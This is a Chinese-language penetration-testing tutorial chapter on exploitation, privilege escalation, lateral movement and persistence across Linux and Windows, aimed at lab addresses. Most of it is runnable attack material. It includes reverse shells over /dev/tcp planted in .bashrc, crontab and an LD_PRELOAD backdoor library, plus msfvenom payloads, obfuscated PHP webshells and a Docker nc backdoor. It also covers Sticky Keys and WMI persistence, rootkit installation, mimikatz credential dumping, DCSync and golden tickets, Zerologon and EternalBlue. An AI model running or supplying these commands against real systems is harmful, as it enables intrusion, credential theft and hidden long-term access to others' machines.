10 — 漏洞利用与提权

哲学:漏洞利用不是”找到漏洞然后打”——是利用链的构建。信息收集 → 服务识别 → Exploit → Shell → 提权 → 持久化 → 横向移动。每一步都是下一步的跳板。

环境:Kali Linux 2024+,Metasploit Framework,Python3,Impacket,CrackMapExec。

目标:从拿到低权限 Shell 到 SYSTEM/Domain Admin 的完整攻击链,覆盖 Linux 与 Windows 两大平台。

Part 2: SearchSploit / Exploit-DB

searchsploit 是 Exploit-DB 的离线命令行版本,Kali 预装。每次执行 searchsploit -u 更新数据库。

实战4:按内核版本查找提权漏洞

步骤1:在目标机获取内核信息

uname -a

预期输出:

Linux target 4.15.0-142-generic #146-Ubuntu SMP Tue Apr 13 01:11:00 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

步骤2:搜索对应内核

searchsploit linux kernel 4.15

预期输出:

 Exploit Title                                                                    |  Path
Linux Kernel 4.15.x - 'map_write()' CAP_SYS_ADMIN In Container Privilege Escala   | linux/local/44935.c
Linux Kernel 4.10 < 5.1.17 - 'PTRACE_TRACEME' pkexec Local Privilege Escalation   | linux/local/47163.txt
Linux Kernel 4.14.0-rc4+ < 4.14.8 (Ubuntu) - DCCP Socket Use-After-Free           | linux/dos/43234.c
Linux Kernel 4.15 < 4.16.14 - Userfaultfd bypass tmpfs Permission                 | linux/local/44299.c
Linux Kernel 4.4 (Debian/Ubuntu 16.04 / Fedora 22) - af_packet Socket Race Condi  | linux/local/44298.c

步骤3:按精确版本号缩小范围

searchsploit linux kernel 4.15.0 | grep -i priv
searchsploit ubuntu 22.04 privilege
searchsploit linux kernel --exclude="dos"  # 排除拒绝服务类

步骤4:下载 exploit

searchsploit -m 44298
# 或按路径下载
searchsploit -m linux/local/44298.c

预期输出:

  Exploit: Linux Kernel 4.4 (Debian/Ubuntu 16.04) - 'af_packet' Race Condition Privilege Escalation
      URL: https://www.exploit-db.com/exploits/44298
     Path: /usr/share/exploitdb/exploits/linux/local/44298.c
    Codes: CVE-2017-7308
 Verified: True
File Type: C source, ASCII text
Copied to: /home/user/44298.c

步骤5:编译并执行

gcc 44298.c -o exploit -lpthread
# 如果遇到32位目标
gcc -m32 44298.c -o exploit
# 如果目标没有gcc
gcc -static 44298.c -o exploit -lpthread    # 静态链接,减少依赖

上传到目标:

# 方法1:Python HTTP Server
python3 -m http.server 8080
# 目标机上
wget http://192.168.56.101:8080/exploit -O /tmp/exploit
chmod +x /tmp/exploit
/tmp/exploit

预期输出:

[.] starting
[.] checking kernel version
[.] kernel version '4.15.0-142-generic' detected
[.] setting up namespace sandbox
[.] up and running
[+] successfully got root
# id
uid=0(root) gid=0(root) groups=0(root)

步骤6:复合搜索技巧

searchsploit sudo
searchsploit suid
searchsploit polkit
searchsploit dbus
searchsploit dirty pipe
searchsploit overlayfs
searchsploit af_packet
searchsploit netfilter

实战5:按服务版本查找漏洞

步骤1:服务扫描

nmap -sV -sC -p- 192.168.56.102

预期输出:

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http        Apache httpd 2.4.49 ((Unix))
8080/tcp open  http        Apache Tomcat 8.5.32
3306/tcp open  mysql       MySQL 5.5.62

步骤2:按服务搜索

searchsploit apache 2.4.49

预期输出:

 Exploit Title                                                                    |  Path
Apache HTTP Server 2.4.49 - Path Traversal & Remote Code Execution (RCE)          | multiple/webapps/50383.py

步骤3:批量提取所有服务版本

# 将 nmap 输出转成 XML 供 searchsploit 解析
nmap -sV -oX target_scan.xml 192.168.56.102
searchsploit --nmap target_scan.xml

步骤4:按 CVE 搜索

searchsploit --cve 2021-41773     # Apache 路径穿越
searchsploit --cve 2019-0211     # Apache root 提权
searchsploit --cve 2014-6271     # ShellShock
searchsploit --cve 2017-7494     # SambaCry

步骤5:用通配符模糊搜索

searchsploit wordpress plugin
searchsploit php cms
searchsploit "remote code execution" apache

步骤6:查看 exploit 内容而不下载

searchsploit -x 44298     # 直接用 less 查看
searchsploit -w 44298     # 复制 URL 到剪贴板

Part 3 补充:更多 Linux 提权方法

实战10.1:NFS 提权

如果 /etc/exportsno_root_squash

cat /etc/exports
# /data   *(rw,no_root_squash)

在攻击机上挂载并放置 SUID 文件:

mkdir /mnt/nfs
mount -t nfs 192.168.56.102:/data /mnt/nfs
cp /bin/bash /mnt/nfs/
chmod +s /mnt/nfs/bash
# 在目标机上
/data/bash -p

实战10.2:LXC / LXD 提权

如果当前用户在 lxd 组中:

# 攻击机
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
./build-alpine
python3 -m http.server 8080
 
# 目标机
wget http://192.168.56.101:8080/alpine-v3.18-x86_64-20240610_1105.tar.gz -O /tmp/alpine.tar.gz
lxc image import /tmp/alpine.tar.gz --alias privesc
lxc init privesc pwned -c security.privileged=true
lxc config device add pwned host-root disk source=/ path=/mnt/root recursive=true
lxc start pwned
lxc exec pwned /bin/sh
# 现在在容器中,/mnt/root 就是宿主根目录
cd /mnt/root
chroot /mnt/root /bin/bash

实战10.3:Docker 提权(补充)

# 除了 --privileged 提权,还可以
docker run -v /:/host -it ubuntu chroot /host /bin/bash
 
# 如果 docker.sock 可写
docker -H unix:///var/run/docker.sock run -v /:/host -it alpine chroot /host
 
# 或者用 docker 创建 root 后门
docker run -d --name backdoor --restart always -v /:/host alpine chroot /host nc -lvnp 5555 -e /bin/bash

实战10.4:Capabilities 提权(补充)

# 检查
getcap -r / 2>/dev/null
 
# cap_setuid+ep
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
 
# cap_chown+ep
cp /bin/bash /tmp/bash
chown root:root /tmp/bash
chmod +s /tmp/bash
/tmp/bash -p
 
# cap_sys_ptrace+ep
# 注入到 root 进程中执行代码
 
# cap_dac_read_search+ep
# 绕过文件读权限 → cat /etc/shadow

实战10.5:Passwd 文件写权限

ls -la /etc/passwd
# -rwxrwxrwx 1 root root 2198 Jun 10 08:00 /etc/passwd

如果可写,添加一个 root 用户:

# 生成密码哈希
openssl passwd -1 -salt hacker password123
# $1$hacker$VhTjH.bBqAQ2NOhdxlYZL.
 
echo 'hacker:$1$hacker$VhTjH.bBqAQ2NOhdxlYZL.:0:0:root:/root:/bin/bash' >> /etc/passwd
su hacker
password: password123
id
# uid=0(root) gid=0(root)

实战10.6:Shadow 文件读权限

cat /etc/shadow
# root:$6$xyz...:19000:0:99999:7:::

拿到 root hash → Hashcat 或 John 爆破:

echo 'root:$6$xyz...:19000:0:99999:7:::' > hash.txt
hashcat -m 1800 hash.txt /usr/share/wordlists/rockyou.txt --force
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

实战10.7:Sudo 通配符绕过

如果 sudo -l 显示可以运行某个带通配符的命令:

# (root) NOPASSWD: /usr/bin/cat /var/log/*
# 绕过方法:读 /etc/shadow
sudo cat /var/log/../../../etc/shadow

实战10.8:LD_PRELOAD 提权(sudo 配合)

如果 sudo -l 允许保留环境变量(env_keep+=LD_PRELOAD):

# shell.c
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}
gcc -fPIC -shared -nostartfiles shell.c -o /tmp/shell.so
sudo LD_PRELOAD=/tmp/shell.so apache2

实战10.9:Logrotate 提权

如果 logrotate 的配置文件可写:

ls -la /etc/logrotate.d/
# -rwxrwxrwx 1 root root 123 Jun 10 08:00 myapp
echo '/var/log/myapp.log {
    daily
    create 0777 root root
}' > /etc/logrotate.d/myapp
# 等 logrotate cron 执行后创建任意 SUID 文件

使用 logrotten 工具:

chmod +x logrotten
./logrotten -p ./payload

实战10.10:Screen 4.5.0 提权

screen -v
# Screen version 4.05.00 (GNU) 10-Dec-16
 
# CVE-2017-5618
searchsploit screen 4.5
# 编译然后执行 libhax.so 和 rootshell
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
# 上传 libhax.so 和 rootshell 到 /tmp
cd /etc
umask 000
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so"
screen -ls
/tmp/rootshell

Part 4 补充:更多 Windows 提权方法

实战14.1:未引用服务路径(Unquoted Service Path)

wmic service get name,pathname | findstr /i /v "C:\Windows" | findstr /i /v """

预期输出:

MyService    C:\Program Files\My App\service.exe

路径中有空格且未加引号。Windows 会尝试按顺序执行:

  • C:\Program.exe
  • C:\Program Files\My.exe
  • C:\Program Files\My App\service.exe

利用:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f exe -o Program.exe

上传到 C:\Program Files\ 然后重启服务:

sc stop MyService
sc start MyService

实战14.2:可写服务路径

icacls "C:\Program Files\MyApp\service.exe"
# Everyone:(F)  或  BUILTIN\Users:(M)

如果可写:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f exe -o payload.exe
copy /y payload.exe "C:\Program Files\MyApp\service.exe"
sc start MyService

实战14.3:服务配置可修改

accesschk.exe -uwcqv "Authenticated Users" * /accepteula

如果 SERVICE_CHANGE_CONFIG 可用:

sc config MyService binPath= "cmd.exe /c C:\Users\Public\shell.exe"
sc start MyService

实战14.4:注册表 AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# 两个都是 0x1

生成恶意 MSI:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.56.101 LPORT=4444 -f msi -o mal.msi

在目标上:

msiexec /quiet /qn /i mal.msi

实战14.5:不安全的 GUI 应用

如果目标用户运行了以 SYSTEM 身份启动的 GUI 应用:

tasklist /v | findstr /i "SYSTEM"

若发现 GUI 进程(如任务管理器、注册表编辑器等):

Ctrl+Shift+Esc → 文件 → 运行新任务 → cmd.exe → 勾选"以系统管理权限创建"

实战14.6:Scheduled Tasks 劫持

schtasks /query /fo LIST /v | findstr /i "TaskName Task To Run"

找到 SYSTEM 运行且脚本/可执行文件可写的任务:

icacls "C:\Tasks\cleanup.ps1"
# Everyone:(F)
echo "C:\Users\Public\nc.exe 192.168.56.101 4444 -e cmd.exe" > "C:\Tasks\cleanup.ps1"

实战14.7:SMBGhost / EternalBlue 等 N-Day 漏洞

# 检测 SMB 版本
nmap -p445 --script smb-protocols 192.168.56.102
# EternalBlue (MS17-010)
searchsploit eternalblue
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.56.102
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.56.101
run
# SMBGhost (CVE-2020-0796)
searchsploit smbghost

实战14.8:Zerologon(CVE-2020-1472)

针对域控制器 Netlogon 协议漏洞:

# 检测
python3 zerologon_tester.py DC_NAME 192.168.56.10
 
# 利用
python3 cve-2020-1472-exploit.py DC_NAME 192.168.56.10
secretsdump.py -no-pass DOMAIN/DC_NAME\$@192.168.56.10
# 导出 administrator 的 NTLM hash

Part 5 补充:更多横向移动方法

实战18.1:DCOM 远程执行

# MMC20.Application
[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.56.20")).Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c C:\Users\Public\shell.exe","7")

实战18.2:WinRM / PSRemoting

$pass = ConvertTo-SecureString "Password123" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("CORP\Administrator", $pass)
Invoke-Command -ComputerName SRV01 -Credential $cred -ScriptBlock { whoami }
Enter-PSSession -ComputerName SRV01 -Credential $cred

Linux 上用 evil-winrm:

evil-winrm -i 192.168.56.10 -u Administrator -p Password123
evil-winrm -i 192.168.56.10 -u Administrator -H 31d6cfe0d16ae931b73c59d7e0c089c0

实战18.3:RDP 横向

xfreerdp /u:Administrator /p:Password123 /v:192.168.56.10
xfreerdp /u:Administrator /pth:31d6cfe0d16ae931b73c59d7e0c089c0 /v:192.168.56.10     # PTH RDP

实战18.4:SMB 共享穿越

smbclient -L //192.168.56.10 -U CORP/Administrator
smbclient //192.168.56.10/C$ -U CORP/Administrator
# 登录后
put shell.exe \Users\Public\shell.exe
smbexec.py CORP/Administrator:Password123@192.168.56.10

实战18.5:MSSQL 横向(数据库链路)

如果发现 MSSQL 实例:

impacket-mssqlclient CORP/Administrator:Password123@192.168.56.20
# 或 Windows auth
impacket-mssqlclient CORP/Administrator:Password123@192.168.56.20 -windows-auth

在 MSSQL 客户端中:

SELECT @@version;
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'powershell -enc ...';

检查 MSSQL 数据库链路:

SELECT * FROM sys.servers;
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [LINKED_SERVER];
EXEC ('xp_cmdshell ''powershell -enc ...''') AT [LINKED_SERVER];

Part 6 补充:更多持久化方法

实战21.1:.bashrc / .profile 后门

echo 'bash -i >& /dev/tcp/192.168.56.101/5555 0>&1 &' >> /root/.bashrc
echo 'bash -i >& /dev/tcp/192.168.56.101/5555 0>&1 &' >> /home/*/.bashrc

用户每次登录 SSH 都会触发。

实战21.2:LD_PRELOAD 后门

// backdoor.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
__attribute__((constructor)) void backdoor() {
    if (fork() == 0) {
        execl("/bin/bash", "bash", "-c",
              "bash -i >& /dev/tcp/192.168.56.101/5555 0>&1", NULL);
    }
}
gcc -shared -fPIC backdoor.c -o /lib/libseccomp.so.2
echo "/lib/libseccomp.so.2" >> /etc/ld.so.preload

实战21.3:PAM 后门

# 替换 pam_unix.so 或修改 /etc/pam.d/common-auth
# 添加万能密码

实战21.4:WebShell 后门

echo '<?php system($_GET["cmd"]); ?>' > /var/www/html/_.php
# 或更隐蔽的
echo '<?php eval(gzinflate(base64_decode("...encoded_payload..."))); ?>' > /var/www/html/modules.php
 
curl http://192.168.56.102/_.php?cmd=id

实战21.5:Windows 注册表 Run 键后门

reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v SecurityUpdate /t REG_SZ /d "C:\Users\Public\shell.exe" /f

实战21.6:Windows 计划任务持久化

schtasks /create /tn "SecurityUpdate" /tr "C:\Users\Public\shell.exe" /sc daily /st 09:00 /ru SYSTEM
schtasks /create /tn "WindowsUpdate" /tr "powershell -enc <base64>" /sc onstart /ru SYSTEM

实战21.7:WMI 事件订阅(Windows)

# 每当 notepad.exe 启动时触发后门
wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="NotepadFilter", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='notepad.exe'"
wmic /namespace:\\root\subscription PATH CommandLineEventConsumer CREATE Name="NotepadConsumer", ExecutablePath="C:\Users\Public\shell.exe", CommandLineTemplate="C:\Users\Public\shell.exe"
wmic /namespace:\\root\subscription PATH __FilterToConsumerBinding CREATE Filter="__EventFilter.Name=\"NotepadFilter\"", Consumer="CommandLineEventConsumer.Name=\"NotepadConsumer\""

实战21.8:RDP 后门(Sticky Keys)

# 替换粘滞键为 cmd
takeown /f C:\Windows\System32\sethc.exe
icacls C:\Windows\System32\sethc.exe /grant Everyone:F
copy /y C:\Windows\System32\cmd.exe C:\Windows\System32\sethc.exe
# 在 RDP 登录界面按 5 次 Shift → 弹出 SYSTEM 权限的 cmd

实战21.9:Linux 内核模块后门(高级)

需要 root + 内核开发环境:

# 编写一个简单的内核模块 hook syscall
# LKM rootkit: Diamorphine / Reptile
git clone https://github.com/m0nad/Diamorphine
cd Diamorphine
make
insmod diamorphine.ko
# kill -63 0 → 隐藏模块
# kill -64 PID → 对 PID 提升为 root

Part 8: 综合攻击链

实战25:完整的 Linux 攻击链

目标:192.168.56.102 (Ubuntu 20.04 LTS Web 服务器)

Phase 1: 侦察
  → nmap -sV -sC -p- 192.168.56.102
  → 发现: 80/tcp Apache 2.4.49, 22/tcp OpenSSH 8.2

Phase 2: 初始立足
  → searchsploit apache 2.4.49
  → RCE via CVE-2021-41773
  → curl 'http://192.168.56.102/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh' -d 'A=|id'
  → Shell as www-data

Phase 3: 提权
  → sudo -l → (root) NOPASSWD: /usr/bin/find
  → sudo find / -exec /bin/sh -p \; -quit
  → uid=0(root)

Phase 4: 凭据收集
  → cat /etc/shadow → save for offline crack
  → grep -r "password" /var/www → find DB creds
  → ls /home/*/.ssh → find SSH keys

Phase 5: 持久化
  → echo "ssh-rsa ..." >> /root/.ssh/authorized_keys
  → echo "@reboot root /bin/bash -c 'bash -i >& /dev/tcp/192.168.56.101/5555 0>&1'" >> /etc/crontab

Phase 6: 横向移动
  → arp -a → discover 192.168.56.20, .30
  → ssh-agent forwarding → jump to 192.168.56.20

实战26:完整的 Windows 攻击链

目标域:CORP.local
DC: 192.168.56.10
SRV01: 192.168.56.20
SRV02: 192.168.56.30

Phase 1: 初始侦察
  → crackmapexec smb 192.168.56.0/24
  → 发现三台 Windows 主机

Phase 2: 初始立足
  → SRV01 运行 IIS with SQLi vulnerability
  → sqlmap -u "http://192.168.56.20/products?id=1" --os-shell
  → Shell as IIS APPPOOL\DefaultAppPool

Phase 3: 本地提权
  → whoami /priv → SeImpersonatePrivilege
  → PrintSpoofer.exe -i -c "C:\temp\nc.exe 192.168.56.101 4444 -e cmd"
  → SYSTEM on SRV01

Phase 4: 凭据提取
  → .\mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
  → 发现 Domain User jsmith:Summer2024!
  → 发现 Machine Account SRV01$:hash

Phase 5: 域枚举
  → net group "Domain Admins" /domain → admin, jwilson
  → BloodHound / SharpHound
  → 发现 jsmith 对 SRV02 有 GenericWrite

Phase 6: 横向移动
  → crackmapexec smb 192.168.56.30 -u jsmith -p 'Summer2024!'
  → Pwn3d! SRV02
  → wmiexec.py CORP/jsmith:Summer2024!@192.168.56.30

Phase 7: 再次提权
  → SRV02 上的 jsmith 是本地 Administrator
  → sekurlsa::logonpasswords → 发现 Domain Admin jwilson 的 hash (缓存在 LSASS)
  → PTH → psexec.py -hashes :jwilson_hash CORP/jwilson@192.168.56.10
  → SYSTEM on DC01

Phase 8: DCSync & 持久化
  → mimikatz # lsadump::dcsync /user:krbtgt
  → 获取 KRBTGT hash → 黄金票据
  → reg add HKLM\... 注册 Run 键
  → 创建域管后门账户

Part 9: 附录

常见端口及对应服务

21   FTP        → vsftpd, ProFTPD
22   SSH        → OpenSSH, Dropbear
23   Telnet     → telnetd
25   SMTP       → Postfix, Exim, Sendmail
53   DNS        → BIND, dnsmasq
80   HTTP       → Apache, Nginx, IIS
88   Kerberos   → KDC (DC)
111  RPCBind    → rpcbind
135  RPC        → Windows RPC Endpoint Mapper
139  NetBIOS    → SMB over NetBIOS
389  LDAP       → AD, OpenLDAP
443  HTTPS      → Apache, Nginx, IIS
445  SMB        → Windows SMB, Samba
636  LDAPS      → AD, OpenLDAP
1433 MSSQL      → SQL Server
1521 Oracle     → Oracle DB
2049 NFS        → Network File System
3306 MySQL      → MySQL/MariaDB
3389 RDP        → Remote Desktop
5432 PostgreSQL → PostgreSQL
5900 VNC        → VNC Server
5985 WinRM      → Windows Remote Management
5986 WinRM SSL  → Windows Remote Management
6379 Redis      → Redis
8080 HTTP-Alt   → Tomcat, Jenkins, etc
27017 MongoDB   → MongoDB

NTLM Hash vs LM Hash

LM Hash:  大写密码14字符 → 分两半 DES → E52CAC67419A9A22...
          (早被淘汰, 默认全是 aad3b435b51404eeaad3b435b51404ee)

NTLM Hash: MD4(Unicode) → 31d6cfe0d16ae931b73c59d7e0c089c0
           用于 Pass-the-Hash 的就是这个

Net-NTLMv1/v2: 挑战-响应机制中产生的哈希, 不能用于 PTH

Impacket 工具速查

psexec.py           # 远程执行 (需 Admin$ 共享)
wmiexec.py          # WMI 远程执行 (需 DCOM 权限)
smbexec.py          # SMB 远程执行 (基于服务)
dcomexec.py         # DCOM 远程执行
atexec.py           # 计划任务执行
secretsdump.py      # 导出 SAM/SECRETS/NTDS
mssqlclient.py      # MSSQL 客户端
ticketer.py         # Kerberos 票据生成
getTGT.py           # 获取 TGT
GetNPUsers.py       # AS-REP Roasting
GetUserSPNs.py      # Kerberoasting
ntlmrelayx.py       # NTLM 中继
smbserver.py        # 临时 SMB 服务器

Linux 提权检查清单

  1. id — 检查组成员 (docker/lxd/adm/sudo)
  2. sudo -l — 可执行的 sudo 命令
  3. uname -a — 内核版本
  4. cat /etc/crontab; ls -la /etc/cron* — Cron 任务
  5. find / -perm -4000 -type f 2>/dev/null — SUID 二进制
  6. getcap -r / 2>/dev/null — Capabilities
  7. ss -tlnp — 内部服务
  8. find / -writable -type f 2>/dev/null | grep -v proc — 可写文件
  9. cat /etc/exports — NFS 共享配置
  10. cat /etc/fstab — 文件系统挂载配置
  11. ls -la /var/run/docker.sock — Docker Socket
  12. cat ~/.bash_history — 历史命令中的凭据
  13. grep -r "password" /etc 2>/dev/null — 配置文件中的凭据
  14. ./linpeas.sh — 一键自动化

Windows 提权检查清单

  1. whoami /all — 用户和特权
  2. systeminfo — 系统版本和补丁
  3. net user / net localgroup — 本地用户和组
  4. netstat -ano — 网络连接和内部服务
  5. schtasks /query /fo LIST /v — 计划任务
  6. sc query state= all — 服务列表
  7. wmic qfe get Caption,HotFixID — 补丁列表
  8. icacls on services paths — 服务路径权限
  9. reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
  10. reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" — 自动登录
  11. cmdkey /list — 凭据管理器
  12. dir C:\*.xml /s — Unattended 文件
  13. type C:\Windows\system32\drivers\etc\hosts — 主机名映射
  14. .\\winPEASx64.exe — 一键自动化